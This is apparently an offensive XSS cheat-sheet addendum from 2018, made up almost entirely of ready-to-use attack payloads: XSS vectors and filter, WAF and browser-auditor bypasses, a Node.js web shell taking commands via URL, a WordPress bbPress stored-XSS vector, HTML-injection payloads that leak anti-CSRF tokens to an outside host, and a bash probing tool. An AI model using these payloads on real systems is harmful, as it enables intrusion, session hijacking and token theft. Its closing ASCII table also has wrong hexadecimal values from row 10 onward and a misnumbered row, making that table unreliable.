2018 EDITION

BRUTAL ADDENDUM

A special addition to XSS Cheat Sheet with exclusive Brutal Secrets!

RODOLFO ASSIS (BRUTE)

Disclaimer

Author is not responsible for the use of this material or the damage caused by application of the information provided in this book.

Introduction

This is an addendum to XSS Cheat Sheet available at http://xsscheatsheet.com and it's an EXCLUSIVE material to subscribers of author's private channel, Brutal Secrets.

All information here comes from @brutalsecrets Twitter timeline, shared throughout these last years.

IMPORTANT: if you got this addendum without being one of the subscribers, know that you are doing it WRONG. There's a lot of work involved which is NOT FREE and it's very unfair to those who are playing by the rules (subscribing to have access to this and more).

For legit brutal followers, here is my appreciation for your support that made these gems come to life!

Rodolfo Assis (Brute)

About This Release

You are reading Revision 1.

That's the first release of 2018 and just 1 more might come this year with minor corrections, updated info and important missed additions to this work.

About The Author

Please check main material, XSS Cheat Sheet – 2018 Edition.

Don't learn to hack, #hack2learn.

ADVANCED

Onscroll Universal Vector
Use to XSS without user interaction when using onscroll event handler. It works with address, blockquote, body, center, dir, div, dl, dt, form, li, menu, ol, p, pre, ul, and h1 to h6 HTML tags.

```
<p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y
```

DOM Insertion XSS Vectors
Use in DOM-based XSS cases as an alternative to “img” and “iframe” ones.

```
<svg><svg onload=alert(1)>
<details open ontoggle=alert(1)>
```

XSS in SSI
Use when there’s a Server-Side Include (SSI) injection.

```
<<!--%23set var="x" value="svg onload=alert(1)"--><!--%23echo var="x"-->>
```

Type Juggling
Use to pass an “if” condition matching a number in loose comparisons.

```
1<svg onload=alert(1)>
1"><svg onload=alert(1)>
```

Bootstrap XSS Vector
Use when there’s a bootstrap library present on page. It also bypass Webkit Auditor, just click anywhere in page to trigger.

```
<html data-toggle=tab href="<img src=x onerror=alert(1)>">
```

FILTER BYPASS

No Script Closing
Use when filter is expecting for “</script>”. Gecko only.

```
<svg><x><script>alert(1)</x>
```

Mixed Context Reflection Entity Bypass
Use to turn a filtered reflection in script block in actual valid js code. It needs to be reflected both in HTML and javascript contexts, in that order, and close to each other. The svg tag will make the next script block be parsed in a way that even if single quotes become encoded as ' in reflection (sanitized), it will be valid for breaking out of current value and trigger the alert.

```
'-alert(1)-'<svg>
\'-alert(1)//<svg>
```


Strip-My-Script
Use to trick filters that strips the classic and most known XSS vector.

<svg/x="> <script>alert(1)</script> <"onload=alert(1)>

JS Lowercased Input
Use when target application turns your input into lowercase via javascript. It might work also for server-side lowercase operations.

<SCRİPT>alert(1)</SCRİPT>
<SCRİPT/SRC=data:,alert(1)>

Overlong UTF-8
Use when target application performs best-fit mapping.

%CA%BA>%EF%BC%9Csvg/onload%EF%BC%9Dalert%EF%BC%881)>

Uncommon Event Handler
Use to bypass blacklist based filters for event handlers. It works on Gecko but adding attributeName=x inside <set tag makes it work in Webkit also.

<svg><set onbegin=alert(1)>

HTML Entities - Null Byte Tolerance
Use to evade HTML entities filtering. All above represent the “(” char. Gecko only.

%26%00%2340;
%26%00lpar;
%26%00l%26%00p%26%00a%26%00r%26%00;

Vectors Exclusive for ASP Pages
Use to bypass <[alpha] filtering in .asp pages.

%u003csvg onload=alert(1)>
%u3008svg onload=alert(2)>
%uff1csvg onload=alert(3)>

PHP Email Validation Bypass
Use to bypass FILTER_VALIDATE_EMAIL flag of PHP filter_var() function.

"><svg/onload=alert(1)>"@x.y

DOM Insertion via Server Side Reflection
Use when input is reflected into source and it can't execute by reflecting but by being inserted into DOM. Avoids browser filtering and WAFs.

\74svg o\156load\75alert\501\51\76

XML-based Vector for Bypass
Use to bypass browser filtering and WAFs in XML pages.

<_:script xmlns:_="http://www.w3.org/1999/xhtml">alert(1)</_:script>

Javascript Context - Tag Injection (Webkit Bypass)
Use to bypass Webkit Auditor in javascript context by breaking out from script block.

</script><svg><script>alert(1)//
</script><script>'%0A'-alert(1)//

Double Reflection With Single Input (Webkit Bypass)
Use to bypass Webkit Auditor in double reflection scenarios for any context.

"`-alert(1)</script><script>`

Vector for PHP Arrays Dump (Webkit Bypass)
Use when reflection comes from use of var_dump() and print_r() PHP functions. “p” is the vulnerable parameter.

?p[<script>`]=`/alert(1)</script>

Javascript Context - Code Injection (IE11/Edge Bypass)
Use to bypass Microsoft IE11 or Edge when injecting into javascript context.

';onerror=alert;throw 1//

Agnostic Event Handlers
Event handlers that can be used with arbitrary tag names. But keep in mind that using existing tag names like “<b” for onafter and onbeforescriptexecute might be the only way to trigger in some scenarios.

<x onmouseenter=alert(1)>
<x onafterscriptexecute=alert(1)>
<x onbeforescriptexecute=alert(1)>
<x onanimationend=alert(1)><style>x{animation:s}@keyframes s{}
<x onwebkitanimationend=alert(1)><style>x{animation:s}@keyframes s{}

EXPLOITATION

Node.js Web Shell
Use to create a web shell in vulnerable Node.js applications. After running payload below use shell in the following way: http://target:5855/?cmd=my_node.js_command Example to pop calc: cmd=require('child_process').exec('gnome-calculator').

require('http').createServer(function(req,res){res.end(1-
eval(require('url').parse(req.url,1).query.cmd))}).listen(5855)

XSS in bbPress for WP 4.7 - 4.7.2
Use to store an XSS in Wordpress with bbPress (forum plugin) from version 4.7 to 4.7.2 with default participant role.

<svg/onload=alert(1)//

HTMLi Token Leak
Use when XSS is not possible but some HTML injection might occur. It will exfiltrate any anti-CSRF token (or any other secret value) it might exist between the source-based reflection and next single quote in native code. Provide HOST with a script to grab the token parameter or check server logs. Apart from examples below, <img or <image tag with src=' or srcset=' also do the job.

<x style='content:url(//HOST/?token=
<x style='background:url(//HOST/?token=
<x style='background-image:url(//HOST/?token=

MISCELLANEOUS

Shortest Event Handler
Use to bypass blacklist based filters for event handlers. It works on Gecko but adding attributename=x inside <set tag makes it work in Webkit also.

<svg><set end=1 onend=alert(1)>

Simple Google Scraper
Use to scrape Google results for a given QUERY, which must be provided in the terminal script below.

brute@logic:~$ q="QUERY";wget -U "Opera/4" http://google.com/search?q=$q -qO- | sed "s/+$q/ /g" | egrep -o ":.{12}:https?://\S*\??\S*" | sed "s/.*:h/h/"

Simple XSS Guesser
Use to find XSS flaws by means of non-obvious parameters. Just provide a TARGET, an XSS probe (like <x) and PARAMLIST, a file with 1 page parameter per line (like id, cod, q, query etc) in the terminal script below.

brute@logic:~$ t="TARGET/"; x="XSS"; q=?; while read p; do q="$q&$p=$x"; done < PARAMLIST; wget -qO- tq | grep $x && echo "$t !"

Alternative to Style Tag
Use when “style” keyword is blocked either for inline and tag name. Provide HOST and FILE for CSS or just the CSS alone in 2nd vector. in No need of “text/css” for Gecko.

<link rel=stylesheet href=//HOST/FILE>
<link rel=stylesheet href=data:text/css,CSS>

Nested SVG (Base64)
Use to bypass filters. Gecko only, URL encoded.

<svg><use xlink:href=
PHN2ZyBpZD0ieCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnL
zIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My
5vcmcvMTk5OS94bGluayI%2BPGVtYmVkIHhtbG5zPSJodHRwO
i8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiBzcmM9ImphdmFzY3
JpcHQ6YWxlcnQoMSkiLz48L3N2Zz4=%23x>

Stripass Tool
Command-line tool to find stripped chars for bypass.

```
#!/bin/bash
# 1) save it as stripass
# 2) allow execution: chmod +x stripass
# 3) run it & check usage: ./stripass

echo "Stripass v0.1 - Stripped ASCII Chars Finder"
echo "© 2018 Brute Logic - All rights reserved."
echo

if [ -z $1 ]
then
  echo "USAGE"
  echo
  echo "GET Method"
  echo "$0 [domain/page?query&param_to_test] [seconds_between_requests]"
  echo
  echo "POST Method"
  echo "$0 [domain/page] [seconds_between_requests] [query&param_to_test]"
  echo
  echo "Examples:"
  echo "$0 localhost/page.php?a=x&b=y&c 3"
  echo "$0 localhost/page.php 3 a=x&b=y&c"
  exit
fi

if [ -z $2 ]
then
  t=1
else
  t=$2
fi

if [ -z $3 ]
then
   for i in {0..15}
   do
      for j in {0..15}
      do
         c=$(printf %c "%";printf %x $i;printf %x $j)
         printf '\r%s' "Testing $c..."
         sleep $t
         curl -s ${1}=abc${c}123 | grep abc123 > /dev/null && echo " Found!" &&
r+="$c "
      done
   done
else
   for i in {0..15}
   do
      for j in {0..15}
      do
         c=$(printf %c "%";printf %x $i;printf %x $j)
```

```
        printf '\r%s' "Testing $c..."
        sleep $t
        curl -s $1 -d ${3}=abc${c}123 | grep abc123 > /dev/null && echo " Found!"
&& r+="$c "
      done
   done
fi

if [ -z "$r" ]
then
   echo -e "\rNo stripped chars found."
else
   echo -e "\r=> Found: $r"
fi
```


ASCII Encoding Table

Remember to replace “&” and “#” in URLs
with their encoded version (%26 and %23 respectively).

			HTML Entity		JS		
	Char	**URL Encode**	**Name(s)**	**Number**	**Octal**	**Hexa**	**Unicode**
0	NUL	%00		&#00;	\00	\x00	\u0000
1	SOH	%01		&#01;	\01	\x01	\u0001
2	STX	%02		&#02;	\02	\x02	\u0002
3	ETX	%03		&#03;	\03	\x03	\u0003
4	EOT	%04		&#04;	\04	\x04	\u0004
5	ENQ	%05		&#05;	\05	\x05	\u0005
6	ACK	%06		&#06;	\06	\x06	\u0006
7	BEL	%07		&#07;	\07	\x07	\u0007
8	BS	%08		&#08;	\10	\x08	\u0008
9	TAB	%09			\11	\x09	\u0009
10	LF	%0A
\12	\x10	\u000A
11	VT	%0B		&#11;	\13	\x11	\u000B
12	FF	%0C			\14	\x12	\u000C
13	CR	%0D	
\15	\x13	\u000D
14	SO	%0E		&#14;	\16	\x14	\u000E
15	SI	%0F		&#15;	\17	\x15	\u000F
16	DLE	%10		&#16;	\20	\x16	\u0010
17	DC1	%11		&#17;	\21	\x17	\u0011
18	DC2	%12		&#18;	\22	\x18	\u0012
19	DC3	%13		&#19;	\23	\x19	\u0013
20	DC4	%14		&#20;	\24	\x20	\u0014
21	NAK	%15		&#21;	\25	\x21	\u0015
22	SYN	%16		&#22;	\26	\x22	\u0016
23	ETB	%17		&#23;	\27	\x23	\u0017
24	CAN	%18		&#24;	\30	\x24	\u0018
25	EM	%19		&#25;	\31	\x25	\u0019
26	SUB	%1A		&#26;	\32	\x26	\u001A
27	ESC	%1B		&#27;	\33	\x27	\u001B
28	FS	%1C		&#28;	\34	\x28	\u001C
29	GS	%1D		&#29;	\35	\x29	\u001D
30	RS	%1E		&#30;	\36	\x30	\u001E
31	US	%1F		&#31;	\37	\x31	\u001F
32	Space	%20			\40	\x32	\u0020
33	!	%21	!	!	\41	\x33	\u0021
34	"	%22	" "	"	\42	\x34	\u0022
35	#	%23	#	#	\43	\x35	\u0023
36	$	%24	$	$	\44	\x36	\u0024
37	%	%25	%	%	\45	\x37	\u0025
38	&	%26	& &	&	\46	\x38	\u0026
39	'	%27	'	'	\47	\x39	\u0027
40	(	%28	(	(	\50	\x40	\u0028

41	)	%29	)	)	\51	\x41	\u0029
42	*	%2A	* *	*	\52	\x42	\u002A
43	+	%2B	+	+	\53	\x43	\u002B
44	,	%2C	,	,	\54	\x44	\u002C
45	-	%2D	−	-	\55	\x45	\u002D
46	.	%2E	.	.	\56	\x46	\u002E
47	/	%2F	/	/	\57	\x47	\u002F
48	0	%30		0	\60	\x48	\u0030
49	1	%31		1	\61	\x49	\u0031
50	2	%32		2	\62	\x50	\u0032
51	3	%33		3	\63	\x51	\u0033
52	4	%34		4	\64	\x52	\u0034
53	5	%35		5	\65	\x53	\u0035
54	6	%36		6	\66	\x54	\u0036
55	7	%37		7	\67	\x55	\u0037
56	8	%38		8	\70	\x56	\u0038
57	9	%39		9	\71	\x57	\u0039
58	:	%3A	:	:	\72	\x58	\u003A
59	;	%3B	;	;	\73	\x59	\u003B
60	<	%3C	< <	<	\74	\x60	\u003C
61	=	%3D	=	=	\75	\x61	\u003D
62	>	%3E	> >	>	\76	\x62	\u003E
63	?	%3F	?	?	\77	\x63	\u003F
64	@	%40	@	@	\100	\x64	\u0040
65	A	%41		A	\101	\x65	\u0041
66	B	%42		B	\102	\x66	\u0042
67	C	%43		C	\103	\x67	\u0043
68	D	%44		D	\104	\x68	\u0044
79	E	%45		O	\105	\x79	\u0045
70	F	%46		F	\106	\x70	\u0046
71	G	%47		G	\107	\x71	\u0047
72	H	%48		H	\110	\x72	\u0048
73	I	%49		I	\111	\x73	\u0049
74	J	%4A		J	\112	\x74	\u004A
75	K	%4B		K	\113	\x75	\u004B
76	L	%4C		L	\114	\x76	\u004C
77	M	%4D		M	\115	\x77	\u004D
78	N	%4E		N	\116	\x78	\u004E
79	O	%4F		O	\117	\x79	\u004F
80	P	%50		P	\120	\x80	\u0050
81	Q	%51		Q	\121	\x81	\u0051
82	R	%52		R	\122	\x82	\u0052
83	S	%53		S	\123	\x83	\u0053
84	T	%54		T	\124	\x84	\u0054
85	U	%55		U	\125	\x85	\u0055
86	V	%56		V	\126	\x86	\u0056
87	W	%57		W	\127	\x87	\u0057
88	X	%58		X	\130	\x88	\u0058
89	Y	%59		Y	\131	\x89	\u0059
90	Z	%5A		Z	\132	\x90	\u005A

91	[	%5B	&lqsb; [	[	\133	\x91	\u005B
92	\	%5C	\	\	\134	\x92	\u005C
93	]	%5D	&rqsb;]	]	\135	\x93	\u005D
94	^	%5E	^	^	\136	\x94	\u005E
95	_	%5F	_	_	\137	\x95	\u005F
96	`	%60	` `	`	\140	\x96	\u0060
97	a	%61		a	\141	\x97	\u0061
98	b	%62		b	\142	\x98	\u0062
99	c	%63		c	\143	\x99	\u0063
100	d	%64		d	\144	\x100	\u0064
101	e	%65		e	\145	\x101	\u0065
102	f	%66		f	\146	\x102	\u0066
103	g	%67		g	\147	\x103	\u0067
104	h	%68		h	\150	\x104	\u0068
105	i	%69		i	\151	\x105	\u0069
106	j	%6A		j	\152	\x106	\u006A
107	k	%6B		k	\153	\x107	\u006B
108	l	%6C		l	\154	\x108	\u006C
109	m	%6D		m	\155	\x109	\u006D
110	n	%6E		n	\156	\x110	\u006E
111	o	%6F		o	\157	\x111	\u006F
112	p	%70		p	\160	\x112	\u0070
113	q	%71		q	\161	\x113	\u0071
114	r	%72		r	\162	\x114	\u0072
115	s	%73		s	\163	\x115	\u0073
116	t	%74		t	\164	\x116	\u0074
117	u	%75		u	\165	\x117	\u0075
118	v	%76		v	\166	\x118	\u0076
119	w	%77		w	\167	\x119	\u0077
120	x	%78		x	\170	\x120	\u0078
121	y	%79		y	\171	\x121	\u0079
122	z	%7A		z	\172	\x122	\u007A
123	{	%7B	{ {	{	\173	\x123	\u007B
124	|	%7C			&VerticalLine			\174	\x124	\u007C
125	}	%7D	} }	}	\175	\x125	\u007D
126	~	%7E		~	\176	\x126	\u007E
127	DEL	%7F		&#127;	\177	\x127	\u007F

“There are two secrets to success. First, never tell everything you know.”
Roger H. Lincoln